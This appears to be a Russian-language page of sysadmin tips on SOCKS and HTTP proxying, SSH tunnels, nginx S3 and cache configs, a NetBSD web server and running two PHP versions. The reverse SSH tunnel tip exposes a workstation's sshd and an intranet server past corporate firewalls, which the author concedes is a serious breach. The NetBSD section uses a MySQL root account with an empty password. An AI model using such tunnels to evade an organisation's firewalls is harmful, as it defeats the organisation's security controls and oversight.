    проблема с резолвингом имен. Проблема в том, что утилиты подобные tsocks не
    позволяют перенаправлять DNS запросы через Socks и организовать работу
    резолвера поверх этого протокола.
    
    Выход найден в использовании privoxy (http://www.privoxy.org/), некеширующего
    HTTP-прокси, умеющего организовывать проброс трафика через Socks и самое важное
    - умеющего резолвить DNS-имена на socks-сервере.
    
    Ставим privoxy:
    
       sudo apt-get install privoxy
    
    Предположим на локальной машине имеется доступ к socks-серверу 127.0.0.1:1080
    В моем случае socks использовался для организации выхода в Интернет через
    телефон на платформе Android, делается это так:
    На телефоне включаем в настройках режим "USB Debugging" (Settings /
    Applications / Development) и запускаем программу Tetherbot (http://graha.ms/androidproxy/Tetherbot.apk).
    На локальный компьютер копируем программу adb из состава Android SDK и выполняем:
    
       ./adb forward tcp:1080 tcp:1080 
    
    теперь в Firefox можно прописать socks-сервер 127.0.0.1:1080 и  поставить в
    about:config network.proxy.socks_remote_dns=true, все будет прекрасно работать.
    Но нам нужно заставить работать opera и другие программы, поэтому настраиваем privoxy.
    
    В /etc/privoxy/config проверяем наличие директивы (по умолчанию выбран порт 8118)
    
       listen-address  127.0.0.1:8080
    
    и добавляем строку:
    
       forward-socks4a   /  127.0.0.1:1080  .
    
    или 
    
      forward-socks5   /  127.0.0.1:1080  .
    
    (внимание, режим forward-socks4 проброс DNS не поддерживает)
    
    Запускаем privoxy:
    
       sudo /etc/init.d/privoxy start
    
    
    Далее в opera устанавливаем в настройках обычного HTTP-прокси хост 127.0.0.1 и
    порт 8080. Все прекрасно работает, более того в качестве бонуса privoxy по
    умолчанию вырезает рекламу.
    
    Для консольных приложений удобно использовать пакет proxychains
    (http://proxychains.sourceforge.net/) в состав которого входит  утилита
    proxyresolv для резолвинга имен через socks.
    
     
    ----* Решение проблем с DNS сервером при работе Firefox через Socks прокси   [комментарии]
     
    По умолчанию при включении работы Firefox через Socks прокси, DNS запросы
    продолжают обрабатываться
    локальным резолвером, что приводит к неработе преобразования имен в Firefox при
    отсутствии на машине
    иного выхода в сеть, кроме socks сервера.
    
    Решение: в настройках about:config следует поменять значение переменной network.proxy.socks_remote_dns
    с false на true, тогда DNS запросы начнут транслироваться через socks сервер.
    
    При нахождении в недоверительной сети, самый простой способ поднять socks
    туннель через внешний сервер:
    
       ssh -D 1080 логин@ip_сервера
    
    а затем настроить на локальной машине доступ через socks5 127.0.0.1:1080
    
     
    ----* Туннели с использованием SSH. Режим эмуляции Socks proxy в SSH (доп. ссылка 1) (доп. ссылка 2)   Автор: Vladimir Brednikov  [комментарии]
     
    1. Режим эмуляции Socks proxy в SSH
    
    Допустим, у нас есть рабочая станция в локальной сети за firewall'ом;
    также имеется ssh-доступ на сервер в Интернете. Кроме ssh, никакой связи с
    внешним миром не имеется,
    а очень хочется, например, подключиться к какому-нибудь jabber-серверу.
    
    На рабочей станции запускаем простую команду:
    
       ssh -D 5555 user@remotehost -f -N
    
    , где -D 5555 - эмуляция SOCKS сервера через порт 5555 
    -f  - работа в фоне, после аутентификации
    -N - не запускать shell на удаленном хосте.
    
    Теперь, указав в настройках XMPP-клиента (например, Pidgin'а) в качестве SOCKS5
    прокси localhost:5555,
    получим желаемый результат: Pidgin соединяется с сервером через внешний сервер.
    
    
    2. Туннель ssh
    
    Дано: сервер локальной сети ourproxy.provider.ru, доступный извне.
    
    Требуется: получить из дома доступ к ресурсам внутри локальной сети, например,
    к интранет-серверу 10.10.5.1:80
    
    Решение: выполнить на домашней машине команду, пробрасывающую туннель к
    искомому IP-адресу через ourproxy.provider.ru:
    
        ssh -f -N user@ourproxy.provider.ru -L 8080:10.10.5.1:80
    
    Опция -f говорит ssh, что после соединения нужно уйти в background.
    Опция -N указывает, что никаких команд выполнять не нужно
    Ключ -L означает, что соединения к localhost на порт 8080 нужно перенаправлять
    на 80 порт IP-адреса 10.10.5.1
    
    Таким образом, набирая в браузере адрес http://localhost:8080, попадаем на нужный сервер.
    
    
    3. Обратный туннель ssh
    
    
    Дано: компьютер на работе, находящийся за firewall'ом и nat'ом; компьютер дома
    с доступом в интернет;
    сервер ourproxy.provider.ru с работающим sshd, доступный обоим компьютерам. 
    Но в данном случае прямой доступ с ourproxy.provider.ru к рабочей машине отсутствует.
    
    Требуется: получить из дома доступ к сервису sshd на рабочем компьютере.
    
    Решение: на рабочей машине выполнить команду:
    
        ssh -f -N user@ourproxy.provider.ru -R 12345:localhost:22
    
    Опции -f и -N описаны несколькими строчками выше.
    Ключ -R означает, что подключения к порту 12345 на ourproxy.provider.ru будут
    перенаправляться на 22 порт рабочего компьютера.
    
    После выполнения этой команды с рабочей машины можно будет попасть на эту
    машину с ourproxy.provider.ru,
    выполнив команду:
    
        ssh -p 12345 user@locahost
    
    По этому же принципу можно получить доступ к прочим ресурсам локальной сети. Вот еще один пример.
    
    На рабочей машине:
    
        ssh -f -N user@ourproxy.provider.ru -R 8080:10.10.5.1:80
    
    На домашней машине:
    
        ssh -f -N user@ourproxy.provider.ru -L localhost:8080:localhost:8080
    
    Теперь, набрав в адресной строке браузера на домашнем компьютере http://localhost:8080, 
    получаем доступ к интранет-серверу за семью замками двумя firewall-ами.
    
    Конечно же, это приводит к серьёзной бреши в корпоративной безопасности, 
    поэтому крайне не рекомендуется злоупотреблять этим советом.
    
     
    ----* Как заставить любую программу работать через HTTP прокси (доп. ссылка 1)   Автор: zabivator  [комментарии]
     
    Ниже пример как заставить ICQ клиента, например http://kopete.kde.org, работать через HTTP прокси.
    Суть метода: icq_client => socks => http_proxy
    
    Ставим пакет dante-client - пользователям debian это сделать можно так:
        sudo apt-get install dante-client
    
    Затем залазим в настройки ( в debian'e - /etc/dante.conf)
    В конце файла прописываем:
       route {
          from: 0.0.0.0/0 to: 0.0.0.0/0 via: proxy.testhost.ru port = 3128
          proxyprotocol: http_v1.0
       }
    
    Где proxy.testhost.ru - адрес http прокси, 3128 - порт прокси. П
    
    Дальше запускаем kopete... следующим образом:
    
       socksify kopete
    
    Пробрасывать весь трафик приложения через socks v.4 или v.5 сервер можно также
    используя http://tsocks.sourceforge.net/
    
     
    ----* 3 шага для перехода на UTF-8 во FreeBSD (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    1. в ~/.xinitrc пишем (именно сюда а не в /etc/profiles потому как
    системная консоль FreeBSD не поддерживает юникод, посему локаль сия
    будет использоваться только в иксах):
    
      export LANG='ru_RU.UTF-8'
      export LC_ALL='ru_RU.UTF-8'
    
    2. выполняем конвертацию содержимого файловой системы из koi8-r в
    UTF-8 (необходим порт converters/convmv):
    
       %convmv -f koi8-r -t UTF-8 путь_к_разделу/* --notest -r
    
    3. далее все зависит от терминала, если у вас что-то вроде
    gnome-terminal, то достаточно будет сменить кодировку в опциях на
    UTF-8, если же у вас что-то вроде xterm'а, тогда в ~/.Xresources
    необходимо будет поменять шрифт, например так (для этого шрифта
    необходим пакет x11-fonts/terminus-font):
    
       XTerm*font: -*-terminus-medium-*-*-*-*-*-*-*-*-iso10646-1
    
    для syscons(4) на i386:
    
    1. ставим sysutils/jfbterm и textproc/uim-m17nlib
    2. меняем стандартную переключалку языка с Shift+Space на Ctrl+\
       добавлением в ~/.uim
    
    	(define-key generic-on-key? "<Control>\\")
    	(define-key generic-off-key? "<Control>\\")
    
    3. ставим локаль и добавляем запуск uim-fep и jfbterm в ~/.profile
    	export LANG=ru_RU.UTF-8
    	exec jfbterm -e uim-fep
       или в ~/.login (для tcsh)
    	setenv LANG ru_RU.UTF-8
    	exec jfbterm -e uim-fep
    
    Для syscons(4), универсальный способ, неполный юникод:
    
    1. ставим шрифт и раскладку koi8-r в /etc/rc.conf
    
       # шрифт
       font8x8=koi8-r-8x8
       font8x14=koi8-r-8x14
       font8x16=koi8-r-8x16
       # раскладка
       keymap=ru.koi8-r
    
    2. ставим sysutils/screen, рекомендую более новый
       ftp://ftp.lissyara.su/users/Guest/screen.diff
    
    3. ставим локаль и добавляем запуск screen в ~/.profile (для sh)
    
       # экспортируем локаль и тип терминала
       export LANG=ru_RU.UTF-8 TERM=xterm
       # запускаем сессию 'desktop', если уже не запущена
       if ! screen -S desktop -ls | fgrep -q desktop; then
          screen -S desktop -dm
       fi
       # подсоединяемся к сессии 'desktop'
       if vidcontrol -i adapter >&- 2>&-
       then
          # в syscons используем локаль koi8-r
          LC_CTYPE=ru_RU.KOI8-R TERM=cons25r \
          exec screen -x desktop
       else
          # в X'ах используем дефолтную локаль
          exec screen -x desktop
       fi
    
    Примечание:
    
    Символы за пределами koi8-r будут отображаться как ??? (вопросики).
    Если хотите полный (многоязычный) юникод, то используйте способ с jfbterm.
    
     
    ----* Как заставить приложение работать через Socks или посылать запрос с другого IP   [обсудить]
     
    В комплекте socks клиента dante (http://www.inet.no/dante/) есть скрипт
    socksify, который позволяет
    прозрачно пробрасывать весь трафик приложения через socks сервер.
    Например:
        socksify ssh
    
    Предварительно, в /etc/socks.conf нужно прописать параметры сервера, например:
       route {
               from: 0.0.0.0/0   to: 0.0.0.0/0   via: 192.168.1.1 port = 1080
               protocol: tcp udp
               proxyprotocol: socks_v5
       }
    
    где, 192.168.1.1 - адрес прокси сервера.
    
    Другой вариант socks-враппера - tsocks (http://tsocks.sourceforge.net/). В /etc/tsocks.conf пишем:
    
       server = 127.0.0.1
       server_type = 5
       server_port = 1080
    
    Инициируем socks-сервер в ssh:
    
       ssh -D localhost:1080 имя_хоста_через_который_организуем_туннель
       
    Запускаем программу, которая будет работать через socks:
    
       tsocks opera
       
    Для переброса трафика через HTTP прокси (используя метод CONNECT), подходит библиотека libconnect 
    (http://libconnect.sourceforge.net/). Пример скрипта:
    
       #!/bin/sh
       export LD_PRELOAD=/usr/lib/libconnect.so
       прграмма
    
    Адрес прокси прописывается в /etc/libconnect.conf:
       p:192.168.1.1/3128   
    
    Можно использовать враппер из комплекта:
        libconnect telnet 111.222.123.234 23
    
    
    
    Для отправки запроса с другого IP, привязанного к сетевому интерфейсу (алиаса),
    можно использовать libsis
    (http://www.palfrader.org/libsis/). Пример:
    
       #!/bin/sh
       export LD_PRELOAD=/usr/local/lib/libsis.so
       export SIS_SOURCE=192.168.10.99
       программа
    
     
    ----* Как разбалансировать равномерно в Squid трафик между несколькими линками   [комментарии]
     
    Пример равномерной балансировки по 3 каналам:
    
    # acl rand1 dst 0.0.0.0/0.0.0.192
    acl rand2 dst 0.0.0.64/0.0.0.192
    acl rand3 dst 0.0.0.128/0.0.0.192
    acl rand4 dst 0.0.0.192/0.0.0.192
    acl rand5 dst 0.0.0.192/0.0.0.224
    # acl rand6 dst 0.0.0.224/0.0.0.224
    
    tcp_outgoing_address 10.1.1.1 rand2
    tcp_outgoing_address 10.1.1.1 rand3
    tcp_outgoing_address 10.1.1.2 rand4
    tcp_outgoing_address 10.1.1.2 rand5
    tcp_outgoing_address 10.1.1.3
    
     
    ----* Пример настройки dante socks сервера.   [комментарии]
     
    /etc/sockd.conf:
    # Куда пишем логи.
       logoutput: /var/log/socks/socks.log
    # На каком сетевом интерфейсе и порту обслуживаем socks клиентов.
       internal: rl0 port = 1080  # или можно указать IP: internal: 10.1.1.1 port = 1080
    # С какого IP или интерфейса выходим во внешний мир.
       external: ed0 # или external: 1.2.3.4
    # Используемый метод авторизации клиентов. none - без авторизации.
       method: username none #rfc931
    # Разрешаем клиенту 192.168.0.2 выход через socks.
    client pass {
           from: 192.168.0.2/32 to: 0.0.0.0/0
           log: connect disconnect iooperation
    }
    #Пример, как разрешить соединения от сервера.
    pass {
            from: 0.0.0.0/0 to: 0.0.0.0/0
            command: connect udpassociate
            log: connect disconnect iooperation
    }
    # Пример, как запретить соединения от сервера
    block {
           from: 0.0.0.0/0 to: 0.0.0.0/0
           log: connect error
    }
    
     
    ----* Пример настройки хоста работающего через socks (клиента)   [обсудить]
     
    /etc/socks.conf:
    # Запросы к DNS серверу 192.168.1.2 - директом.
    route { 
       from: 0.0.0.0/0 to: 192.168.1.2/32 port = domain via: direct
    }
    # Loopback трафик директом.
    route{
       from: 0.0.0.0/0   to: 127.0.0.0/8  via: direct 
    }
    # Все запросы черех socks сервер 192.168.1.1 порт 1080.
    route {
      from: 0.0.0.0/0   to: 0.0.0.0/0   via: 192.168.1.1 port = 1080
      protocol: tcp udp
      proxyprotocol: socks_v4  # Варианты: socks_v5, http_v1.0 - через http прокси, msproxy_v2
      method: none # username - когда нужна авторизация
    }
    
     
    ----* Как в dante socks проконтролировать объем прокачиваемого трафика.   [обсудить]
     
    logoutput: /var/log/socks/socks.log
    pass {
        ....
       log: connect disconnect iooperation
    }
    
     

       WWW, Apache httpd
    Ограничение доступа и ресурсов, безопасность
    Оптимизация и тюнинг Apache
    Редирект, mod_rewrite

    ----* Проксирование запросов к S3 с помощью nginx и angie   Автор: umask  [комментарии]
     
    С помощью nginx/angie и встроенного модуля perl можно проксировать запросы
    напрямую к S3. Ниже приведён пример для реализации S3 от DigitalOcean (Spaces).
    Для Amazon AWS S3 пример тоже подходит. Для авторизации доступа можно
    использовать пример совместно с модулем secure_link.
    
    
       http {
    	...
    	perl_set $date
    	'sub {
    		use POSIX qw(strftime);
    		return strftime("%Y%m%d", gmtime());
    	}';
    
    	perl_set $datetime
    	'sub {
    		use POSIX qw(strftime);
    		return strftime("%Y%m%dT%H%M%SZ", gmtime());
    	}';
    
    	### yum install perl-Digest-SHA
    	perl_set $signed_digest
    	'sub {
    		use Digest::SHA qw(hmac_sha256 hmac_sha256_hex sha256_hex);
    
    		my $r = shift;
    
    		my $data_key = hmac_sha256($r->variable(date), "AWS4" . $r->variable(aws_access_secret));
    		my $region_key = hmac_sha256($r->variable(aws_region), $data_key);
    		my $service_key = hmac_sha256($r->variable(aws_service), $region_key);
    		my $signing_key = hmac_sha256("aws4_request", $service_key);
    
    		my $hash = sha256_hex($r->variable(canonical_request));
    		my $str =
    			"AWS4-HMAC-SHA256" . "\n" .
    			$r->variable(datetime) . "\n" .
    			$r->variable(date) . "/" .
    			$r->variable(aws_region) . "/" .
    			$r->variable(aws_service) .
    			"/aws4_request" . "\n" .
    			$hash;
    
    		return hmac_sha256_hex($str, $signing_key);
    	}';
    	...
    	server {
    		...
    		location @s3 {
    			set $provider 'digitaloceanspaces.com';
    			set $bucket 'my-bycket-name';
    			set $aws_access_key 'my-key';
    			set $aws_access_secret 'my-secret';
    			set $aws_region 'ams3';
    			set $aws_service 's3';
    
    			### perl -e 'use Digest::SHA qw(sha256_hex); my $s = sha256_hex(""); print $s, "\n"'
    			set $empty_hash 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855';
    
       set $canonical_request 'GET\n$uri\n\nhost:$bucket.$aws_region.$provider\nx-amz-content-sha256:$empty_hash\nx-amz-date:$datetime\n\nhost;x-amz-content-sha256;x-amz-date\n$empty_hash';
    
    			proxy_buffering off;
    			proxy_buffer_size 1m;
    			proxy_buffers 64 64k;
    
    			proxy_connect_timeout 11s;
    			proxy_send_timeout 14s;
    			proxy_read_timeout 17s;
    
       proxy_next_upstream error timeout invalid_header http_500 http_502 http_503
    http_504 http_403 http_404;
    			proxy_next_upstream_timeout 30s;
    			proxy_next_upstream_tries 3;
    
    			proxy_hide_header Strict-Transport-Security;
    			proxy_hide_header x-amz-request-id;
    			proxy_hide_header x-amz-meta-s3cmd-attrs;
    
    			proxy_http_version 1.1;
    
    			proxy_set_header Host '$bucket.$aws_region.$provider';
    			proxy_set_header x-amz-date '$datetime';
       proxy_set_header Authorization 'AWS4-HMAC-SHA256 Credential=$aws_access_key/$date/$aws_region/$aws_service/aws4_request,SignedHeaders=host;x-amz-content-sha256;x-amz-date,Signature=$signed_digest';
    			proxy_set_header x-amz-content-sha256 '$empty_hash';
    			proxy_set_header Range '$http_range';
    
    			proxy_pass_request_headers off;
    			proxy_pass_request_body off;
    
    			proxy_pass https://$bucket.$aws_region.$provider;
    		}
    		...
    	}
    	...
       }
    
     
    ----* Организация кэширования только медленных ответов сервера при помощи Nginx (доп. ссылка 1)   [комментарии]
     
    Пример организации на стороне фронтэнда кэширования контента, который начинает
    отдаётся бэкендом дольше, чем через 3 секунды. Запросы, которые отдаются менее,
    чем за 3 секунды передаются клиенту минуя кэш. Время жизни записи в кэше
    составляет 60 секунд. Для расчёта времени отдачи используются два блока vhost
    с передачей переменной со временем задержки в заголовке X-Accel-Expires,
    созданной при помощи директивы "map".
    
       proxy_cache_path /home/tmpcache/mycache levels=1:2 keys_zone=example:10m;
    
       # Для запросов дольше 3 секунд устанавливаем время жизни записи в кэше в 60 секунд, иначе 0 (отдаём минуя кэш).
       map $request_time $longtime {
           "~^([3-9]|[1-9][0-9]+)\\." 60;
           default 0;    
       }
    
       server {
           listen 127.0.0.1:8888;
           root /var/www/;
           server_name example.com; 
           location / { 
               proxy_redirect          off;
               proxy_set_header        Host $host;
               proxy_pass              http://mybackend;
               add_header X-Accel-Expires $longtime;
           }
       }
    
       server {
           listen 8080;
           root /var/www/;
           server_name example.com; 
           location / { 
               proxy_redirect          off;
               proxy_set_header        Host $host;
               proxy_pass              http://127.0.0.1:8888;
               proxy_cache             example;
               proxy_cache_valid       200 0m;
               add_header X-Cached $upstream_cache_status;
               add_header X-Time $request_time;
            }
       }
    
    
    Проверка:
    
       # curl -I "http://example.com:8080/mylongrequest" 
    
       ...
       X-Cached: MISS
       X-Time: 11.862
    
    повторный запрос будет выдан из кэша:
    
       # curl -I "http://example.com:8080/mylongrequest" 
       ...
       X-Cached: HIT
       X-Time: 0.000
    
     
    ----* Настройка web-сервера на базе bozohttpd и NetBSD 5.x   Автор: Калегин Сергей Николаевич  [комментарии]
     
    С недавних пор я перевёл все свои сервера на операционные системы BSD и хочу
    рассказать об их преимуществах по сравнению с другими ОС, а также поделиться
    опытом их установки и настройки.
    
    Итак. Сразу хотелось бы предупредить вопросы, связанные с выбором этих систем.
    Почему я выбрал именно BSD (преимущественно OpenBSD и NetBSD)? Дело в том, что
    это лучшие операционные системы из тех, с которыми мне приходилось работать! До
    BSD на моих серверах стояли различные версии и реализации ОС Windows, Linux и
    Mac OS, однако ни одна из них не смогла обеспечить такую стабильность,
    нетребовательность к ресурсам и универсальность, а также простую, быструю и
    лёгкую настройку сервера (а именно этим сисадмин и занимается) как системы BSD.
    Более подробно об этом, я постараюсь рассказать в следующих своих статьях на
    данном сайте. А начать обзорный цикл статей по работе с системами BSD мне
    хотелось бы с демонстрации поразительной простоты и целостности данных ОС. Для
    примера я взял установку и настройку Web-сервера "с нуля", так как это одна из
    самых популярных функций сервера и, наверное, самая популярная ассоциация у
    пользователей всемирной паутины. К тому же, сделать это на баз е последних
    версий NetBSD и OpenBSD не просто, а ОЧЕНЬ просто!
    Делается это всего в три шага:
    
    1) Выбрать компьютер для установки сервера;
    2) Установить и настроить операционную систему (возьмём NetBSD 5.0);
    3) Запустить и настроить bozohttpd (встроенный Web-сервер NetBSD 5.x).
    
    Вся эта работа займёт всего несколько минут!!! Скорость и простота - главные
    преимущества BSD-систем!
    
    1. Начнём с выбора компьютера для установки сервера. Хотя... особый подбор
    здесь не требуется, так как, в данном случае, подойдёт практически любой
    компьютер, который попадётся под руку (старый, слабый, списанный в утиль и
    т.п.), ведь NetBSD - самая универсальная система в мире! Её можно поставить
    куда угодно, даже на тостер (в котором хлеб жарят)!
    
    2. Далее, устанавливаем на выбранный компьютер ОС NetBSD. Для этого потребуется
    всего несколько сотен мегабайт (!!!) свободного места на диске (ну или на том
    носителе, куда Вы будете ставить систему) и пара минут времени. Подробное
    описание процесса установки я дам в отдельной статье. А для тестового сервера
    подойдут параметры по умолчанию, просто следуйте инструкциям на экранах
    инсталлятора (sysinst).
    
    3. Ну а теперь самое интересное - запуск и настройка Web-сервера. Для этого в
    ОС NetBSD (как и в OpenBSD) ничего дополнительно ставить не придётся, так как в
    этих системах уже есть набор основных серверов (демонов), их нужно только
    включить! Делается это очень просто. Открываем на редактирование (с правами
    root-a) файл /etc/rc.conf и прописываем в него всё, что касается настроек httpd
    (там всего 4 пунктика). Образец данного конфигурационного файла (с примерами
    запуска различных серверов) лежит в каталоге /etc/defaults/ и он же является
    конфигурационным файлом по умолчанию (если в /etc/rc.conf ничего не прописано).
    Если же копаться в этом sample лень, то можно воспользоваться текстовым
    фильтром grep для извлечения нужных пунктов из /etc/defaults/rc.conf. Делается
    это так (один из вариантов):
    
       cat /etc/defaults/rc.conf | grep httpd >> /etc/rc.conf
    
    В результате выполнения этой команды в файл /etc/rc.conf будут добавлены все
    необходимые записи для запуска и конфигурации http-сервера. Остаётся их только подправить:
    
       httpd=YES (запускает сам сервер bozohttpd)
    
    После этого нужно прописать домашний каталог нашего сайта в директиве httpd_wwwdir, например так:
    
       httpd_wwwdir="/WWW"
    
    Если ничего не менять, то по умолчанию будет использован каталог /var/www/.
    
    Остальные можно оставить как есть.
    
    Вот и всё. Теперь у вас свой Web-сервер. После перезагрузки, разместите
    стартовый файл index.html (с которого начинается просмотр сайта) в папку
    /var/www/ и проверьте работу сервера с помощью браузера (лучше с другого
    компьютера сети) по адресу http://192.168.1.50/, где IP-шник 192.168.1.50
    является адресом вашего сервера в сети. Более того, сервер изначально
    поддерживает CGI и позволяет обрабатывать запросы Web-пользователей с помощью
    shell-скриптов, расположенных в специальной папке, указание на которую
    прописывается в качестве параметра непосредственно при запуске httpd или же
    флага в файле /etc/rc.conf например так:
    
       httpd_flags="-c /var/www/cgi" (все CGI-скрипты должны лежать в этой директории)
    
    Код CGI-скрипта для /bin/sh выглядит примерно следующим образом:
    
       #!/bin/sh
    
       echo "Content-type: text/html";
       echo "";
    
       echo Today is `date`;
    
       exit 0;
    
    (Данный скрипт просто выводит текущую дату на экран.)
    
    При необходимости, с помощью той же команды echo "...."; можно выводить и
    HTML-код или же можно вставить его из отдельного файла с помощью cat и т.п. программ.
    
    Обратите внимание на то, что при обращении к CGI-файлу в URL обязательно нужно
    указывать инфикс .../cgi-bin/..., иначе он выполняться не будет! И не забудьте
    сделать скрипт исполняемым (с помощью команды chmod). Например:
    
       chmod +x test1.sh
    
    Далее можно обращаться к нему напрямую:
    
       /var/www/cgi/./test1.sh
    
    или же через браузер:
    
       http://192.168.1.50/cgi-bin/test1.sh
    
    Причём скрипты могут быть написаны как с помощью команд командного
    интерпретатора (типа /bin/sh) так и на любом языке программирования, для
    которого имеется интерпретатор в вашей системе (например Perl или Python).
    
    После того как сервер уже заработал, наверняка, многие озадачатся вопросом
    насчёт конфигурации bozohttpd. Так вот, у этого сервера нет файлов конфигурации
    и это здорово! Никаких десятков непонятных инструкций (как, например у Apache),
    всё прописывается непосредственно при запуске сервера в качестве параметров
    (флагов). Описание всех этих параметров есть в man-e по httpd данной
    операционной системы (http://wiki.lissyara.su/wiki/Bozohttpd).
    
    
    Во второй части данной статьи я хотел бы поделиться своим опытом и рассказать о
    том как использовать встроенный Web-сервер операционных систем NetBSD 5.x в
    связке типа HTTPD+PHP+MySQL вместо установки более мощного, но и более
    громоздкого и сложного Apache.
    
    После проверки работоспособности сервера можно приступать к установке и
    настройке дополнительных пакетов. Я приведу пример только для PHP и MySQL,
    однако другие ставятся и работают аналогично. Установить нужное ПО можно, как
    минимум, 2-мя способами: компиляцией непосредственно из исходников или же
    добавлением уже готового пакета с помощью pkg_add. Для краткости я возьму
    второй способ.
    
    Качаем с официального сайта пакеты типа php-5.x.tgz, mysql-php.tgz и
    mysql-server-5.x.tgz (версии могут быть любыми) и устанавливаем их с помощью
    pkg_add, например:
    
       pkg_add -v php-5.3.6.tgz
    
    После окончания установки всех пакетов перезагружаемся!
    Затем подключаем интерпретатор языка PHP к bozohttpd c помощью флага (или
    параметра) -С .php /usr/pkg/libexec/cgi-bin/php и устанавливаем новый стартовый
    файл для сайта - index.php. Выглядит это так:
    
       httpd_flags="-С .php /usr/pkg/libexec/cgi-bin/php -x index.php"
    
    Теперь создаём тестовый PHP-скрипт (например test1.php) и запрашиваем его через браузер:
    
      http://192.168.1.50/test1.php
    
    Всё должно заработать!
    
    Теперь проверяем работу СУБД MySQL. Запускаем mysql client (который
    устанавливается вместе с сервером) и даём несколько тестовых команд, например:
    
       mysql -uroot -p (вход под root-ом с пустым паролем)
       show databases; (выводит список баз данных)
       use mysql; (подключаемся к базе mysql)
       show tables; (выводит список таблиц этой базы)
       quit; (выходим из mysql)
    
    Если все эти команды были приняты и выполнены интерпретатором, значит MySQL уже
    работает. Так же можно проверить работу MySQL с помощью скриптов для /bin/sh,
    например таким:
    
       #!/bin/sh
       echo "select Host, User from user" | mysql -uroot -p mysql;
       exit 0;
    
    Данный скрипт выведет список хостов и пользователей MySQL.
    
    Теперь осталось только проверить связку PHP+MySQL и соединить их с Web-сервером.
    Пишем скрипт на PHP для соединения с СУБД и делаем простой запрос, например так:
    
       $dbcn=mysql_connect("localhost", "root", "");
       mysql_select_db("mysql");
       $r=mysql_query("select Host, User from user");
       for($i=0; $i < mysql_num_rows($r); $i++)
       { $res=mysql_fetch_array($r); echo "$res[Host] $res[User]\n"; }
       mysql_close($dbcn);
    
    Результат выполнения этого скрипта будет аналогичен предыдущему на shell.
    
     
    ----* Установка Expires без использования mod_expires в Apache (доп. ссылка 1)   Автор: sanmai  [комментарии]
     
    Если на хостинге не установлен mod_expires, то управляющие кэшированием
    заголовки можно выдать добавив в .htaccess следующую конструкцию:
    
       <FilesMatch "\.(jpg|png|gif|js|css|ico|swf)$">
    	Header set Expires "Thu, 31 Dec 2037 23:55:55 GMT"
    	Header set Cache-Control "max-age=315360000"
       </FilesMatch>
    
     
    ----* Установка PHP 5.2 и PHP 5.3 для одновременной работы под управлением Apache в Windows   Автор: Евгений Пономарев  [комментарии]
     
    Если у Вас установлен Apache, то сделайте сперва копию папки установленной
    программы и аналогично для PHP.
    
    1. Сначала удаляем все, что связано с установками Apache и PHP из реестра.
    (панель управления->установка удаление программ (в XP) панель
    управления->программы и компоненты (Vista и windows7) удаляем Apache и PHP)
    
    2. Ставим два Apache в разные папки (из копии, не инсталятором .msi). Если нет
    копии, то пользуемся инсталлятором apache_2.2.14-win32-x86-no_ssl.msi,
    делаем копию установленной программы и снова ее удаляем.
    Создаем две папки (например D:\usr\apache22 и D:\usr\apache253) и копируем туда
    наш апач. Один Apache настраиваем на порт 8080 (главное не 80), второй на 8088.
    Правим httpd.conf, указав правильные пути для корня серверов, каждый для своей
    папки и указываем соответствующие порты для прослушивания.
    
    3. Устанавливаем каждый Apache как сервис.
    из командной строки:
    
       httpd -n apache22 -k install  - под этот апач поставим PHP 5.2
       httpd -n apache253 -k install - под этот апач поставим PHP 5.3
    
    4. Ставим PHP 5.2  в папку php (например D:\usr\php) из архива, а PHP 5.3 в
    папку php53 (например D:\usr\php53) из архива (обращайте внимание на версии
    PHP, они есть и x64, выбирайте необходимую Вам).
    
    5. Прописываем в httpd.conf модули подключения PHP
    
       LoadModule php5_module "D:/usr/local/php53/php5apache2_2.dll"
       PHPIniDir "D:/usr/local/php53"
       AddType application/x-httpd-php .php
    
    Запускаем Apache. Можно монитором из папки bin ApacheMonitor.exe
    или из командной строки:
    
       httpd -n apache22 -k start
       httpd -n apache253 -k start
    
    Если Apache при запуске выдал ошибку, не связанную с синтаксисом
    (неопознанную), копируем php5ts.dll  из директории php в папку apache/bin.
    
    Если в реестре не осталось упоминаний о PHP, то все заработает. Если не
    запустилось, проверьте переменные окружения windows на PHPRC. Их не должно быть.
    
    В windows 7 все запустилось без проблем.
    
    6. Теперь для удобства, можно поставить nginx, изменив его конфигурацию
    примерно так:
    
       server {
            listen       *:80;
            server_name  site.ru;
            location / {
                proxy_pass         http://127.0.0.1:8080;
                proxy_redirect     off;
                proxy_set_header   Host             $host;
                proxy_set_header   X-Real-IP        $remote_addr;
                proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
            }
         }			
    
    server {
            listen       *:80;
            server_name  site53.ru;
            location / {
                proxy_pass         http://127.0.0.1:8088;
                proxy_redirect     off;
                proxy_set_header   Host             $host;
                proxy_set_header   X-Real-IP        $remote_addr;
                proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
            }
         }	
    
    Теперь просто можно тестировать обе версии PHP.
    На site.ru - ответит apache c PHP 5.2, а на site53.ru - apache PHP 5.3
    
     
    ----* Мониторинг работы http-сервера Lighttpd при помощи mod_rrdtool (доп. ссылка 1)   [обсудить]
     
    Для оценки нагрузки и отладки работы http-сервера Lighttpd можно использовать
    входящий в комплект модуль mod_rrdtool.
    
    Устанавливаем в системе пакет rrdtool:
    
    CentOS / RHEL / Fedora
       yum install rrdtool
    
    Debian / Ubuntu:
       apt-get update && apt-get install rrdtool
    
    FreeBSD:
       cd /usr/ports/databases/rrdtool && make && make install
    
    Активируем в Lighttpd запись статистических данных в RRD-базу. 
    В /etc/lighttpd/lighttpd.conf добавляем (для FreeBSD нужно поправить путь на /usr/local):
    
       server.modules              += ( "mod_rrdtool"  )
       ### RRDTOOL Config
       # path to the rrdtool binary
       rrdtool.binary = "/usr/bin/rrdtool"
       # rrd database file
       rrdtool.db-name = "/home/lighttpd/rrd"
    
    Рестартуем http-сервер (service lighttpd reload).
    Для построения аналитических графиков устанавливаем скрипт lightygraph.cgi:
    
       cd /home/lighttpd/cgi-bin/
       wget http://redmine.lighttpd.net/attachments/download/793
       chmod +x lightygraph.cgi
    
    Открываем в браузере страницу
    http://ваш_домен/cgi-bin/lightygraph.cgi и смотрим графики с информацией о
    трафике и числе запросов.
    
     
    ----* Как настроить кеширующий репозиторий для Fedora с помощью nginx   Автор: fb769  [комментарии]
     
    Устанавливаем необходимые пакеты
    
       yum install nginx yum-utils
    
    правим конфиг /etc/nginx/nginx.conf перед последней закрыющейся } дописываем
    
       include /etc/nginx/vh/*;
    
    создаем каталог
    
       mkdir /etc/nginx/vh
    
    а в нем файл repocache.local следующего содержания
    
        server {
            listen                          80;
